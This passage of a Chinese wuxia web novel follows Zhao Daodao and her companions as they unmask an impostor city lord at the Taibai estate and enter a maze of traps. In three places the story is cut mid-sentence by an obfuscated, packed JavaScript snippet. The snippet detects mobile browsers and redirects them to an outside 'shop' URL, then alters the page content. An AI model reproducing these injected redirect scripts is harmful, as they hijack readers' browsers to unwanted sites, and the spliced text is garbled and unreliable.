唐堡主还挺懂的,不觉得她这是上赶着送死。 唐雪摆摆手,“这就是顺路嘛,不用客气的。”她嗔道,“而且我回去还早呢,到时候可能都忘了,等以后你再告诉我就好了,说不定我们一块儿回去了呢。” 赵刀刀笑道,“好。” 去城主府的路渐渐远离闹市和街道,离城中越来越远了。 车轮在在路上压过车辙的声音都听得到。 唐雪也是第一次去到牡丹城的城主府,有些惊奇道,“我爹说这位城主喜静,可他住的地方也太偏僻了,再走下去,都快出城了吧。” 赵刀刀也觉得奇怪,道,“城主府却不在城中,真是有趣了。” 不过到底还是没有出城,只是转了个弯儿往山上走去。 这一路距离不算近,没想到到了城内还要赶路去城主府。 到地方了。 姜容在前面停下和守门的说了两句,开了门,他们就继续往进走了。 那城主府原来是建在山腰间地势开阔处,依山而建,从山腰延续到山顶,气势雄伟。这哪里是座府邸,分明已经是个很大的庄园了。 难怪要建在城外,城内哪儿容得下这么大一片宝地。 加之牡丹城寸土如金,要是建在城内也太过浪费了,估计要被商贩们嚼烂了舌根。 左拐右拐,马车在白家的山庄里走了几炷香才到了安排的住处。 马车停下了,姜容在外面说,“诸位请下车吧,就是这里了。” 三人下车,庄园里被灯火照亮,他们正在一处院子。 庭院三面开门,院子里有一小片花园,青草花香扑鼻而来,住人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063178|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋子两边对称各种着一颗柳树,正在夜风里摇曳。 远处鸟鸣阵阵,和牡丹城内完全是不同景色。 姜容行礼道,“今日天色已晚,诸位就请在此休息一夜,明日再去见城主吧。” 他指着另一扇门的方向,“周少侠请继续跟我来。” 唐雪和赵刀刀在同一处院落,周向晚要去的地方和她们只隔了一小片花园,离得不远。 周向晚向唐雪和赵刀刀告别后便随姜容离开了。 唐雪脸上已有倦色,捂着嘴打了个哈欠,道,“大晚上的又赶了这么久的路,恩人早些歇息吧。” 赵刀刀道,“嗯,你也早些睡吧。” 看唐雪进了门,又强打着精神和她招了招手,她笑了笑,也挥挥手,然后朝自己那屋走去。 屋子打扫的很干净,家具一应俱全,像是熏过香,有一股淡淡的香气留在空气中,干燥清爽,最出乎意料的是,屋中最显眼的地方摆放着刀架。 刀子精已经醒了,他总觉得自己好像忘了什么,可怎么也想不起来,只记得在客栈睡了一觉。 “怎么一醒来就换地方了。” “这里是城主府。”赵刀刀把黑刀放在刀架上,说,“你睡饱了,现在我却要睡了。” 刀子精笑了笑,“早些休息吧。” 赵刀刀“嗯”了一声。 院子里的山风是冷的,但屋子里很暖。 刚躺下不久。 赵刀刀隐隐听到说话声。 她翻了个身蒙住耳朵,还有窃窃私语传来。翻了三次身那声音还是像蚊子一样在耳边嗡嗡作响。 赵刀刀睁着眼睛定定地望着床顶,轻轻叹息。 刀子精懂了,“走吧,去看看。” 赵刀刀笑了一声,她坐起身挠了挠头发,随意束起,轻巧地起身穿上外衣,带上刀,走到门边,隔着门静静听了会儿。 声音不像是这个院子传来的。 她将侧窗打开一点,翻身而出,轻点在地上。整个院子都很安静,响声是从她住的这间屋子东面传来的,有堵高墙隔着。 她借着墙边的树轻跃到墙头。 辨着方向攀上屋顶,逆风而行,又上树梢,顺着动静望去,那声音随着风从远处的亭子传来—— “那唐雪都跟得我为什么不行?” “你的三脚猫功夫也敢与唐雪比?!我真是恨铁不成钢啊。” “爹,听闻赵姑娘是个被传成少年郎的女子,而我是个唱女角的男人,这不正配?” “你!” 他们说着说着争吵起来。 听声音一老一少,那是一对父子?赵刀刀心想,提到唐雪和她,莫非那就是城主?他们这是在为了她而吵架吗? 但既然是别人的家事,她就不好多听了。 刀子精也说,“没什么奇怪之处,别担忧了,回去睡吧。” “嗯。” 月亮被云遮住了,山风到底还是有些冷,赵刀刀爽快的打了个颤。 她准备离开,却还是忍不住道,“赵小刀。” “嗯?” “我还是觉得奇怪。” “别想太多,去睡吧。” “……行。”她又悄无声息地蹿回房中,把窗关上。 将刀再次放在刀架上,道,“那晚安了。” “晚安。” 赵刀刀躺着不久就生出困意,她迷迷糊糊想着,为什么白城主一家,这么喜欢站在风里说话?站在风里说话可能是爱好,可怎么能被她轻易听到,那不是第九的高手吗? 难道是此地的高手,有大声嚷嚷的毛病? 算了,不想这些,比起这个,还是千凤楼的食物和美人更有想头。她揉揉耳朵,想着入睡了。 今夜的赵刀刀没有福气,她没有梦到那个美人。 14. 和气 人生如梦,一尊还酹江月。 牡丹城的城主一家姓白,城主名叫白梦江。 白城主人如其名,超然物外,一生慷慨豁达,从不与人争执斗气,哪怕他剑道大成,也从未有过高高在上的姿态,半点不会怠慢过去的朋友,依旧平易近人。这样的心气实在太过难得,但凡见过他的人都打心底里佩服他轻财重义的气魄,称赞白城主实在是当世少有的坦荡豪杰。 据说,白城主出身平凡,家中往上数三代都无人习武,只是个做点小生意的商贾之家,但他从小立志学剑,不靠家里,独自一人四处奔波求师问道,多年苦学不缀,硬是从普通门派的出身练成了天下一流的剑法,后来又一跃成为天下第九的高手,终成圆满。 可惜他前半生痴狂剑术,壮年却激流勇退,归隐于牡丹城太白山庄,所以如今见过白城主的人并不多。 他隐退的原因是一个谜。 白城主在不惑之年夺得天下第九的名号,那时他已是最一流的剑客,朋友无数,门庭若市,太白山庄最热闹最忙碌的日子里,他也从未松懈过一天练剑,但在众人以为他将要百尺竿头更进一步之际,他却突然闭门谢客,宣布闭关。说是闭关,实为隐退,因为从此之后他再未现身于江湖。 人们对此众说纷纭,有人说他在山庄中静心修炼,精进武道,剑术已经大成,也有人说他年岁渐长再难突破,怕失了颜面才闭关不出,销声匿迹。 那时太白山庄刚刚建成不久。 太白山庄是在上一代城主府的基础上扩建而成,依山而建,取攀登之意。 太白与我语,为我开天关。意在祝所有武学中人都能顺利勘破难关,更进一步。 山庄建成之时,白梦江的声名扶摇直上,一时无两,天下英杰都想与他结交朋友,可惜一切戛然而止,来不及反应,白城主已闭门谢客,从此太白山庄不见生人,求见无门。 高楼随盛名而起,也随盛名而落,归于沉寂黯淡。 太白山庄再次步入世俗眼中是近两年的事,本来山庄事务大多已交由他人代管,近两年却收回了不少。牡丹城有个广为流传的说法,说白城主的一生是先出世后入世,闭关时出了岔子,伤及根本,苦修十年不曾精进,最终不再强求,将太白山庄留与后人。 可惜他想明白的太晚,白家子嗣稀薄,白城主老来得子,生平也仅有一子而已。 跟着姜容攀上白玉石阶,赵刀刀他们步入一间长而宽的大厅等候。 站定之时她已经忘了来时的路,这地方实在是大,又在山上,没人带着怕是要迷路。 厅堂中央挂着一幅水墨山水。 “让各位久等了啊。” 三人闻声看去,从厅后缓步走来的是一位年过花甲依然神采奕奕的老人。 唐雪道,“劳烦白城主了,我们也刚到不久。” “是唐雪啊,唐堡主近来可好?” “多谢城主挂怀,家父无恙,近来事忙,有时间他会来亲自登门拜访。” “唉,不麻烦。”白庄主看向赵刀刀,“这位就是赵姑娘吧,唐堡主差人捎信给我,信中提到的就是你吧,后生可畏,后生可畏啊。” 赵刀刀抱拳道,“不敢当。” 他接着看向周向晚,问,“这位是?” “白庄主,”周向晚拱手道,“不才周向晚,是赵姑娘的朋友。” 白庄主道,“啊,瞧老夫这记性,唐堡主信里也说过你。诸位稍坐片刻,还没吃早饭吧,不必着急,先用过早饭再说。” “是。” 饭正在备,三人暂且坐下等候。 白庄主长叹一声,道,“太白山庄建成已有些年头,牡丹城与唐家堡相离不远,可唐堡主与老夫却一直没时间聚一聚,没想到倒是你们这些小辈先他一步到了这里。” 唐雪道,“家父与我说起过白庄主年轻时的英姿,他说那时候他才初出茅庐呢,也十分仰慕白庄主,可惜一直无缘见得前辈的剑法,没想到一别就是这么多年了。” 白庄主似乎也在回忆从前,“岁月不饶人啊。我与他都老了,不中用了啊。” 唐雪笑道,“白庄主老当益壮,可不要说这些丧气话了。” 白庄主拂着胡子道,“他有你这样贴心的姑娘,真是运气好啊,不像我家那小子——” 正要继续,出去一会儿的管家姜容又从大门急匆匆赶来,似乎有话要说,有些为难地看着白庄主。 白庄主一挥袖,“在这说吧,不碍事。” 姜容皱眉道,“庄主,少主又要偷溜去戏班了,现在被侍卫从后门拦下,您看这——如何处置?” 白庄主叹气道,“唉,实在是老夫教子无方,让各位看了笑话。我这儿子自幼就不喜欢练武,老想着往那些戏班子跑,也不知是跟了谁。” 三人来之前很少听说白家少主的事,只是笑笑没有回话。 城主的儿子是个戏子,这谁能料到呢。 赵刀刀忽然想起了昨晚听到的对话,莫非真是这对城主父子?可惜她过来没有带刀,要是赵小刀也觉得是那就准没跑儿了。 菜已摆好。 姜容道,“庄主,饭已备好了,少主也还未用餐,您看要不——” 白庄主起身道,“罢了,把那小子先压过来一起吃饭,吃完饭再说,我倒要看看他能闹出什么名堂。” 姜容躬身道,“是。”大步离去。 白庄主一起身,在座的都起身相迎,随他一道去了后面用餐的地方。 这庄园一步一景,沿木板铺成的小道走去,用餐的亭子视野开阔,三面坠着纱曼,四周树木成荫,有青竹和花圃,幽静清雅。 早上起来时晨光熹微,现在太阳已经出来了,温度正好,带着暖意却不算热。 阳光透过帷幔变得柔和,隐隐能听到流水声潺潺而过,实在是用餐的好地方。 待他们走到,那亭子里已经有了个闹别扭的少年。 “爹!”他见到白庄主走过来。“你为什么让他们拦着我!” 白庄主道,“桓儿。有客人来了,怎可在外人面前如此无礼?” 那少年看到他身后的人,“他们是谁?” 白庄主道,“这不就是你一直想见的赵少侠吗?” 姜容站到庄主身边,介绍到,“少主,这位是唐家堡的唐雪小姐,这位是周向晚周少侠,最后这位是赵刀刀赵姑娘。” 少年嘟囔道,“也不怎么样嘛……你的刀呢?” 赵刀刀没有出声,那少年扬声追问,“我在问你,为什么不答?” 白庄主训斥道,“怎可这样与客人讲话!”又说,“见笑了,老夫就这一子,平日里桓儿也算知书达理,近来老往那戏班跑,脾气也被带的乖张了些。” 赵刀刀扯了个笑,摇头道,“白少主还年幼,活泼是好事。” 她心想,这倒真是个溺爱儿子的老父亲。 白庄主点头,留住那少年,示意他们先进去。 姜容指引着三人落座。 用餐间那少年倒没有再闹脾气。 白庄主饭后又先离席与那少年说了两句,回来时只有他一个,他看着三人,问,“诸位可是着急了?” 唐雪道,“切磋本就是不情之请,庄主要是事务繁忙,太白山庄风景秀美,我们多等几天也无妨的。” 白庄主笑道,“可惜桓儿却没有你这样的好朋友。你们且先去换衣准备,既然老夫都答应了,岂能言而无信,待下午,到时候姜容会去带你们过来。” 三人行礼谢过。 唐雪心心念念的新衣服终于派上了用场。 赵刀刀将衣服上的带子系紧了。 唐雪满意地点头,“果然很适合,这衣服是依照恩人那件蓝色的做的,我改了些地方,今天总算是能被恩人穿在身上了。” 赵刀刀抬了抬手,尺寸恰好合身。“你不用做这些事的,让裁缝来就好了。” 唐雪道,“可我喜欢呀,我喜欢恩人穿我设计的衣服,那些裁缝怎能比我更了解你呢。” “……哦。” “除了蓝色,紫色也不错,恩人肤色白亮,也不会被衬的暗沉。” “随你吧。” 唐雪高兴道,“这可是你与白庄主切磋的大场面,俗话说人靠衣装,他太白山庄人人都是一袭白衣,撑着气派,我们也不能被比了下去。” “哦。”赵刀刀拿起刀,“走吧,周向晚已经在外面了。” 周向晚站在花园旁等着,听到开门声转过身来。 姜容也在等着。 白家的演武场是竹节围起来的,周围一圈比场地中央高出半尺,设有坐席和站着观看的地方。场地边摆着各类兵器,还有一道宽大屏风与进来的大门遥相照应。 白庄主与赵刀刀正站在中间。 赵刀刀看不出白庄主的境界,心道这就遇到深藏不露的高人了,她果然还任重道远啊。 她握紧黑刀。 白庄主出剑了,剑锋如一道白光。 然而赵刀刀只与他接了一剑,就心下一沉。 不对。她退后两步。 她紧了紧刀,上前再接一招。眉头紧皱,越发觉得奇怪,收刀飞退到唐雪他们二人附近。 她看着唐雪疑惑的眼神,又看向那白庄主,慢慢道,“你根本不会武功。” 她意识到什么,厉声呵斥,“就算白城主不愿与我打,也不该找个只会摆架势的外门汉糊弄我。” 周向晚一直旁观,也发现了蹊跷,他低声道,“这人不是白城主。”他虽然不曾见过天下第九的脸,但他却记得天下第九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063179|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里的剑。 赵刀刀和唐雪看向他。 周向晚道,“白梦江生平只用过一把剑,剑身洁白如雪,上有红色剑纹如梅,名曰傲雪。而傲雪剑长三尺七寸,宽三寸,剑身靠近剑柄处以篆体刻一‘白’字,剑柄镂空嵌白玉装饰,他手里那把,乍一看样式相同,细看却连长度都对不上。” 场地间有种诡异的安静。 打破这种寂静的是三声拍手声。 三人闻声望去。 随着声音,从屏风后走出一人,他一身白衣,飘然若仙,身段修长挺拔,一双眼睛细长勾人,就是长相普通了些。 他勾起嘴角,说,“精彩。没想到这么多年过去了,还有人对那把剑如此熟悉。”他略作停顿,笃定道,“不过,你们猜错了,他就是白城主。” 他明明在笑,却毫无温度。 赵刀刀此时终于想到,那白城主就算老来得子,这么多年过去了,他儿子也不该到现在还是个弱冠少年。 破绽太多了,倒像是故意露出来的。 那唐堡主的信到底送到了谁的手上?白城主……又是谁?从头到尾都不对劲。 硕大的庄园,就算城主不在,也不该如此戏弄他们。 那人见无人搭话,道,“各位怎么了?” 见赵刀刀三人敌视般盯着他,又轻咳两声,道,“是白某失礼了,开个玩笑。在下太白山庄大管家白凰。” 赵刀刀冷声说,“你们一句真话都没有,让我们如何相信?”看着那双眼睛,她不知为何觉得有些熟悉,脑子里忽然冒出一个不相干的念头——那双眼睛下面应该有一颗痣。 一颗落在左眼眼尾,鲜红如血的痣。 但这张平凡的脸上没有痣,也看不出破绽,她从未见过这个人。 白凰道,“原来赵姑娘这样看待太白山庄,唉,倒也是我做的不对。”他问,“诸位想听真话?” 唐雪这时候还没明白过来,如果白城主是真的,那她爹说的高手呢,不是说就在山庄之中吗?难道高手不是白城主? 她被赵刀刀和周向晚挡在身后,却并不像他们一样担心。因为唐家堡的鹰早上还在她住的院中停留过。 周向晚这时候将扇子紧握手中,不再悠哉游哉地摇了。 白凰见他们还是严阵以待,笑了笑,道,“白城主确实是有的,可是天下第九——太白山庄可没有这号人物。” 他说,“我听说赵姑娘在生死擂台上大败了张元武,想来赵姑娘也是江湖上排的上号的高手之流了。” 赵刀刀和周向晚对视一眼,望过去,“你想说什么。” “赵姑娘,不巧的很,那张元武,原是我白家的家臣。” 赵刀刀微微皱眉。 “赵姑娘莫要紧张,白家不缺那一口饭,况且他在生死擂上死了也是咎由自取。” “所以?” “所以,在下实在是钦慕赵姑娘的高超武艺,可惜不能亲眼相见,”白凰笑了笑,“赵姑娘想见的天下第九,我这太白山庄可是查无此人,但——赵姑娘若是愿意,这里倒是有可以媲美天下第九的东西。” 他的声音仿佛传闻中诱人入魔的妖,他说,“太白山庄梧桐苑中有一阵法,阵中机关无数,可比那天下第九名副其实的多,姑娘可愿试之?” 赵刀刀冷哼,“不愿。” 白凰道,“我知道赵姑娘在武道上很有追求,那阵法想必不会让你失望,阵法中珍宝无数,姑娘可以任意取之。” “不取。” 白凰掩唇笑了一声,“当然不是白送给你,只是——有一本书,姑娘不妨一并取来。” 终于说到重点了,赵刀刀问,“那书中有什么?” 白凰道,“那不是武功秘籍,也不是藏着什么惊天秘密的宝贝,只是一本普通的书。” 周向晚也笑了,讽刺道,“周某虽然算不上对天下事了如指掌,可我还不知道天下有什么书值得花这么大功夫。” 唐雪也点头附和。 白凰道,“我便直说吧,那本书只对我如此重要。”他说,“要是成了,太白山庄便是诸位的第二个家,有什么事在下听候差遣,若是不成,退出阵法便是。” 姜容正要说话,他挥手,姜容只好行礼退下,那白庄主和周围的人都离开了。 白凰道,“赵姑娘仅需一试,不成我也不会为难于你。这本是双赢之事,赵姑娘何必如此抵触?而赵姑娘要是试也不肯,最后出山庄的便只有你一人了。” 他笑了笑,道,“我知道姑娘武艺高强,但这样赔本的买卖,姑娘应该不会做吧?” 我信了你的鬼话。赵刀刀心想。 唐雪听了这么久,突然往前一步,出声道,“我要和她一起去。” 周向晚也默默向前走出一步。 15. 阵法 太白山庄美景无数,亭榭楼阁高低错落,白瓦红墙,水波荡漾,碧草如丝。 但山庄中大多数人都从来没听说过这里还有什么阵法存在。 姜容皱着眉在前面带路。直到进入那个山洞之前,白凰都没有说,太白山庄十几年来,家臣无数,多少高手都有进无出,虽然阵法留有退路,还是有很多人死在前进的途中。但今天的赵刀刀并非那些人,或者说,唐家堡的大小姐绝非那些形单影只的江湖人士,她要是出了好歹,太白山庄恐怕不能善了。 姜容一时竟觉得山庄里的人私底下说的很对,白凰是有些任性固执。 他跟在白凰身边,看着他们进入阵中,直到人在黑暗中不见了影子。担忧道,“庄主,那赵姑娘要是真——?” 白凰的视线还直直地盯着入口,他的目光没有一丝移动,不像是在看赵刀刀他们进去,倒像只是单纯地盯着进去的地方。站了好一会,他才冷笑一声,道,“与我何干。” 姜容道,“可是,还有唐家大小姐,而且那位姓周的公子……” “唉——”白凰吊着嗓子,像是要叹气,又像是要嘲弄,叹到一半却硬生生止住声音,面无表情。他的眼尾吊起,不笑的时候也挂着风情,此刻哪怕敛着眉目,那双眼睛也和他普通的面容格格不入。 他收回视线,微微皱眉,负手冷声道,“咎由自取罢了。” 竟直接转身离去。 姜容叹息一声,上头不努力,底下的人只好多担待一些了,也不知道白凰是从什么时候开始变得这样任性。他叮嘱着让周围守着的侍卫盯紧了,但凡听到一点声音就进去救人。遂沿着白凰的方向离开。 凤凰鸣矣,于彼高冈。梧桐生矣,于彼朝阳。 若说太白山庄犹如一只白凤在山脊间展翅高飞,那梧桐苑就是正落于凤凰心口的朱砂。 白凰所说的阵法,其实在一处山洞中,而洞口,就在梧桐苑湖边假山之下。 层层怪石遮挡着,矮树和高草也形成屏障,哪怕山庄中几十年的老仆也不能发现这里的奥秘。从假山间绕行过四个弯,有一道石门,正是阵法的入口。 赵刀刀三人从此处进入山洞。 山洞的入口有兵器磕碰的痕迹,看样子之前也有人来过。 初进来只觉得山洞中空气有些干燥,梧桐苑中园景缤纷,也有溪流湖泊,这阵法在阴暗处不见阳光,却毫无水汽。 唐雪拉着赵刀刀的衣袖,又贴近她一些,问,“恩人不怕吗?我还是第一次来这种地方。” 周向晚抽了抽嘴角,唐大小姐在水城作威作福,估计唐家堡更是早就被她玩了个遍,这样的小霸王只有人人怕她,她哪有怕的时候。这事说出去唐堡主都未必信。 赵刀刀道,“为什么要怕?” 她本不想来,但正如白凰隐晦的威胁,他们已来到太白山庄,进来容易,想出去却没那么简单。赵刀刀不想招惹麻烦,但她更不想麻烦唐堡主。 她心中毫无惧意,既然决定陪唐雪出门游历,便已做好准备,江湖总要亲眼去看,亲身去试,总不能一步一回头,遇事只会跟家里家哭嚷叫唤,龙潭虎穴,闯就闯了,没什么,她只是讨厌这种被人算计的感觉。 仿佛从他们踏入牡丹城的第一步,就被一根丝线牵着,无论如何都会来到这里,走这一遭。 唐雪听出她的真心实意,顿时又觉得恩人高大了些。 他们本打算带着火把进入,但进入山洞不久,过了一道门,洞中竟然自己亮起了火光。难怪那位叫姜容的管家说不需要带照明之物进来。 看样子这山洞也没有故作神秘,可越是这样就越教人不明白为什么之前没有人破阵过。 既来之则安之,赵刀刀心想,莫非这山洞还能扭成个迷宫不成?那个叫白凰的什么都不肯说,却又很在意阵法里的东西,这里头能放着什么宝贝竟比这么大个山庄还让人着迷,倒是挺有意思。 刀子精一看她歪头思索就知道这东西又要搞事。心累不语。 脚下是凹凸不平的岩石,但是已经被人踩得没了棱角。 周向晚看着光下亮堂的墙壁,伸手摸了摸,摇着扇子道,“这墙壁的石料只是普通,不过听那管家说这阵中的石头都有千斤重,砖也是当年特意花重价买的青砖,看样子这里还没到他们说的阵法,是后面才补上的。” 看着他们不远处的一扇门,周向晚道,“那里……应该就是阵法真正的入口了。” 赵刀刀点点头。 唐雪松开了袖子,站直了。 石门严丝合缝地挡在前面,旁边有一处凹槽,正是白凰给他们的钥匙的形状。 三人相视一眼,唐雪拿出钥匙,插入进去,只微微一转,眼前的石门微微一动,落下一些碎石,接着轰隆一声,慢慢向一侧移开。 赵刀刀听到了机关转动的声音。 赵刀刀道,“我先进去。” 唐雪和周向晚点头,她进去,除了里面的空间十分狭窄,其他的倒没什么,“进来吧。” 周向晚先到,唐雪在后面拔了钥匙趁门关上前闪身进入,又是一阵震动巨响,石门重重闭合上了。 三人面面相觑。 唐雪惊讶地看着石门,道,“那个白凰还骗我们说随时可以回头,这明明就是——”她捂着嘴收声,制止了自己的晦气话,又踹了一脚石门道,“哼,那个叫姜容的看着老老实实,姑且信他一回,要是也骗我们,唐家堡必不饶了他!” 姜容在外面告诉他们阵中还有需要钥匙的地方,叫他们别忘了拔出钥匙。可现在看来里面的一侧并没有能用钥匙的地方,这一处石门显然是只进不出。 赵刀刀安抚道,“没事。” 周向晚将扇子磕在手心,若有所思道,“果然如此,看来之前传言在太白山庄颐养天年的高手也未必真就是到这养老的,说不定是来送命的。” 唐雪看向赵刀刀,“恩人,那我们……继续向前?还是——” “别急,”赵刀刀道,“要是真出不去,那白凰也不会这么轻易就把钥匙给我们,他肯定还有什么其他办法能进入阵中。” 周向晚道,“有道理,可是他都这么进出自如了,为什么还要靠别人帮他取东西?” 唐雪也只是慌张一瞬,反正又不是只有她一个人,她镇静下来,不屑道,“说不定他就是到不了终点,只是能进来又有什么用,还不是得靠我们。” 赵刀刀和周向晚笑着称是。 “走吧。” 继续向前,阵法中有了潮湿的水汽,四周安静的只剩他们三人的呼吸声和脚步声,唯一不变的是周围的炬火还在默默燃烧。 火光映着人影在石壁上摇曳,仿佛三人背后还跟着人,外面的声音已经完全听不见了,只有脚步声和呼吸声清晰可闻。 赵刀刀走在最前面,想着他们走了这么久,周围也没什么危险出现,不会是被骗了吧。 可是白凰又有什么理由骗他们呢,他那么在意这里,除非他那双眼睛也是假的。一个人的话容易骗人,眼睛却不容易,她不觉得那种在乎是假的。 昏暗的光线压抑了人的心神,任何细微的响动在这时候都格外明显。 赵刀刀脚下踩着的岩石突然微微下陷了一分。 “等等。” 她下意识握紧了刀,拦住身后的两人。 “怎么了?”唐雪问。她和周向晚也在注意周围,但是并没发现什么异常。 赵刀刀调整着力度感受,前一刻的下陷像是错觉,这会儿脚下的地面安稳不动,踩着很踏实。她摇摇头,“不知道是不是我的错觉,这里好像不太对劲。” 见她微微皱眉有些为难的样子,唐雪道,“那我们小心些,慢点走?” 周向晚道,“是该小心些。” 赵刀刀点点头。 刚定神往前走了三步,赵刀刀就听到两边墙壁里好像传来什么东西的响声,细小的,密集的碰撞声。 “不对——”她终于借着微弱的光线看到了两边墙壁上的小孔。“别停!快走!” 唐雪和周向晚心神一震,三人急速向前跃去—— 下一刻他们待过的位子就被射成了筛子。 唐雪向身后看去,密密麻麻的细小短箭封锁了后路,有的射进石缝,有的撞在地上,又如火器般一路炸开,步步紧逼。这是她第一次在唐家堡外见到这种东西,边往前跑,边感叹道,“哇,这趟真是来值了,我头一次知道,原来除了唐家堡还有人爱玩这种调调啊!恩人你说,太白山庄会不会是偷学我们来的?” 周向晚额头已出了一层细密的汗,喊道,“大小姐还是过了这关再说笑吧!” “好吧。”唐雪自顾自做了个鬼脸不再多言。 箭雨还在继续,敲击在墙上地上,阵法里泛起乒乒乓乓的碰撞声,哪怕没打在人身上,也吵得人头大。 前方的路越来越窄,赵刀刀心中暗忖,这机关难道就没个头儿了?之前的人难道是累死在阵里的? 正想着,身后的声音变得微弱,她慢慢停下来,发现剑雨已经歇了,曲折的小路让人看不见之前满地狼藉,四周又安静下来,好像之前的夺命机关只是臆想。 周向晚喘着气。他看了看周围,这里仅有两人宽,石壁显得有些拥塞,照明的是从远处传来的光。 唐雪除了鼻尖的细汗,看不出刚才跑过,脸上神采奕奕,一双眼睛亮晶晶的,“看来外面确实比唐家堡好玩啊。”她看向周向晚,有些恨铁不成钢道,“你怎么只跑了这两步就开始喘了,早知道出来前就该让你去唐家堡的机关室待几天。”她心中暗喜,师兄们老是拿来嘲笑她的话终于可以送给别人了。 周向晚平复着呼吸,道,“这番心意在下领了,不过还是不劳烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063180|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐大小姐了。” 唐雪道,“要不你之后再跟我回去也行,唐家堡不缺你这口饭吃,你这么弱怎么能行啊!亏你还是个大男人呢!” 周向晚恨恨咬牙,急促地扇着扇子不想说话,瞪着眼求助般看向赵刀刀。那目光有如实质,简直就差把“你管管她吧”几个大字写在脸上。 赵刀刀笑了笑,对他们说,“歇好了走吧,这里还算安全,前面不知道有什么。” 周向晚也没用太久。三人继续往前。 唐雪轻哼一声,斜瞟了一眼周向晚,紧随其后。 不成想还没走多久又不得不停下——路断在前方。 “这是……”周向晚的扇子轻敲着下巴。 路横着一条锐利的直线,整齐地断开,这一路光线愈发黑暗,下方和前方都是幽深的不可视物的黑暗。 唐雪站在边上弯腰呼喊一声,回音迟迟没有出现,她站直退到赵刀刀身边。 赵刀刀看着眼前的深沟,想了想,问,“要往下走吗?” 周向晚和唐雪有些惊讶地看着她,唐雪道,“恩人难道觉得下面才是路吗?” 赵刀刀愣住,清了清嗓,“当然没有,”她补充道,“就是随便说说。” 漆黑的深渊挡了路,在这样的黑暗里,她的刀也变得带上了几分诡异,刀身仿佛能和这里融为一体消失在黑暗中。 赵刀刀正想说些什么,刀子精突然道,“你仔细听。” 她眨了眨眼,缓缓闭上双眼,周围一片黑暗,唐雪和周向晚见她的样子也安静下来。这里只有他们三人,呼吸勾勒他们的方位,略微深一些的是唐雪,清浅的是周向晚,还有她自己的声音在身体中颤动,再仔细些去听,是胸膛中心脏蓬勃的跳动,还有身后远处火把燃烧在空气中微小的炸裂声,还有——还有轻轻的,缓缓的空气拂过耳际,速度弱到几乎无法察觉。她动了动手指,那是她抓不住的,那是风声。 风声是从前面传来的,下面是条死路。 路在前方,但断在脚下。 赵刀刀睁开眼,问,“你们看看这里还有什么东西吗?” 唐雪和周向晚分别观察了两侧的墙壁,在周围仔细摸索着,突然,唐雪在石壁上摸到了一处突起。她低呼道,“这里!”她不敢乱按,及时将手撤回。 周向晚和赵刀刀走过去,周向晚道,“看起来是个按钮,旁边的墙摸了我一手灰,这个按钮倒挺干净。” 三人相视一眼,“试试?” “试试吧。” 按钮乍一按下去,就从地底传来巨大的震动,深渊下传来轰隆轰隆的声音,还有碎石滚动的巨响与震落的沉寂无声,不过片刻,几根石柱间隔不均地从底下矗立而上。 “原来是开路的机关吗。”赵刀刀低声感慨。对两人说,“你们先在这里,我去试试。”她叮嘱唐雪,“等下你松开按钮,我想再看看底下有没有东西。” 唐雪有些担忧,赵刀刀安抚道,“没事,有问题我一定第一时间上来。” 周向晚道,“注意安全。” “嗯。” 赵刀刀轻盈地跃上第一根石柱,这样安静的环境中也听不到她落下的声音,她站在石柱上警惕着,往下望去还是没有一丝光芒,漆黑的深不见底。 “好像没事?”她道,“唐雪,松手试试。” 唐雪咽了口口水,有些紧张,“那恩人自己注意些。” “嗯。” 松手之后石柱立刻开始坠落,这速度比升上来还快,赵刀刀蹲下撑地稳住身形,这里已经快看不到唐雪他们,她总觉得有什么东西在暗中窥伺,可除了石柱的动静之外分明别无他物。或许只是她太过多疑,被黑暗晃了心神。她高声喊道,“可以了,这底下还是什么都看不见。” 唐雪立刻又按了下去。 石柱又和先前一样升了上来。赵刀刀跃上岸。 周向晚道,“看来这里必须留一个人守着,不然谁都过不去。我们谁留在这里?” 唐雪道,“恩人肯定是要过去的,咱们两个——” 赵刀刀在一旁思索片刻,她打断到,“不急,我再试一试。” 她先过去一趟,发现这中间的距离不过十几丈,对岸并无危险,呼喊声可以传到这边。 赵刀刀原路返回,站在断崖处想了想,估算着距离,又后退几步站在按钮的方位,“那石柱是依次落下去的,我从这里开始冲过去试试,我一走,你就松手。” 唐雪惊道,“这怎么行!” 可赵刀刀嘴上说着全力一试,实际却半点不留回旋的余地。唐雪拦不下她。 冲出去的那一瞬,赵刀刀心想,这边哪怕没有危险,留一个人在这里等着,待在这前后无路可走的地界,守着那点不知道能不能等到的希望,又该是何等绝望。 况且,还没有到非留一人不可的绝境。 16. 怪物 